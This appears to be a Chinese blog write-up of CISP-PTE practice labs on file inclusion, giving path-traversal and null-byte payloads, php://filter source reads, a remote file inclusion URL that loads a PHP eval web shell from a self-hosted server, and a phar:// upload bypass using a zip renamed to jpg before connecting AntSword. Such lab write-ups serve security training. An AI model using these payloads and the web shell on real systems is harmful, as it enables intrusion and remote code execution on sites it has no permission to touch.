当前位置:网站首页>2022 CISP-PTE(一)文件包含
2022 CISP-PTE(一)文件包含
2022-06-27 06:35:00 【Aτθ】
一、本地文件包含(基礎)

1、第一道

2、第二道
....//....//flag.txt

3、第三道
....//....//flag.txt%00


4、第四道
....//....//....//flag.txt%00


二、本地文件包含(實操)
1、第一道


php://filter/convert.base64-encode/resource=../key.php


2、第二道


2.1 查看答題頁面源碼
查看答題頁面源碼,無任何有用信息。


直接訪問view.html文件,並查看源代碼。



2.2 傳入參數


2.3 查看源碼

三、遠程文件包含(實操)
1、第一道
1.1 打開題目


1.2 初步嘗試


1.3 遠程文件包含
無法進行截斷,換用遠程文件包含。


1.4 蟻劍鏈接
http://49.235.78.245:1117/start/index.php?page=http://49.235.78.245/1



2、本地啟動一個遠程服務器
2.1 在用戶目錄下放一句話
1.txt
<?php @eval($_POST['c']);?>
目錄:
C:\Users\Administrator

2.2 啟動
python3執行:python3 -m http.server
python2執行: python2 -m SimpleHTTPServer


2.3 成功
http://192.168.1.107:8000/1.txt

3、第二道
3.1 查看題目源碼





3.2 讀取include.php和upload.php源碼
php://filter/convert.base64-encode/resource=include


<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>

<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
3.3 上傳文件
180.php:
<?php @eval($_POST['c']);?>
1、180.php寫一句話;
2、180.php壓縮為180.zip;
3、改寫180.zip為180.jpg

3.4 讀取文件
?file=phar://upload/180.jpg/180
c=phpinfo();

3.5 鏈接蟻劍



边栏推荐
- Meaning of 0.0.0.0:x
- Yaml file encryption
- G1和ZGC垃圾收集器
- JVM object composition and storage
- Once spark reported an error: failed to allocate a page (67108864 bytes), try again
- ORA-00909: 参数个数无效,concat引起
- Matlab GUI interface simulation DC motor and AC motor speed simulation
- The SCP command is used in the expect script. The perfect solution to the problem that the SCP command in the expect script cannot obtain the value
- Scala函数柯里化(Currying)
- Sqlsever 字段相乘后保留2位小数
猜你喜欢

建模竞赛-光传送网建模与价值评估

Us camera cloud service scheme: designed for lightweight video production scenes

2018年数学建模竞赛-高温作业专用服装设计

MPC control of aircraft wingtip acceleration and control surface

The risk of multithreading -- thread safety

Assembly language - Wang Shuang Chapter 11 flag register - Notes

G1 and ZGC garbage collector

古典密码体制--代换和置换

面试官:你天天用 Lombok,说说它什么原理?我竟然答不上来…

分数阶PID控制
随机推荐
tar: /usr/local:归档中找不到tar: 由于前次错误,将以上次的错误状态退出
[QT notes] simple understanding of QT meta object system
Instance Tunnel 使用
What's new in redis4.0 - active memory defragmentation
TiDB 中的视图功能
Block level elements & inline elements
The SCP command is used in the expect script. The perfect solution to the problem that the SCP command in the expect script cannot obtain the value
日期 数据库日期 字符串 之间互相转换
POI 替换docx中的文字和图片
IDEA一键生成Log日志
Inter thread wait and wake-up mechanism, singleton mode, blocking queue, timer
Currying Scala functions
Distribution gaussienne, régression linéaire, régression logistique
Altium Designer 19 器件丝印标号位置批量统一摆放
飞行器翼尖加速度和控制面的MPC控制
TiDB的事务概览
Active learning
可扩展哈希
线程间等待与唤醒机制、单例模式、阻塞队列、定时器
Crawler learning 5--- anti crawling identification picture verification code (ddddocr and pyteseract measured effect)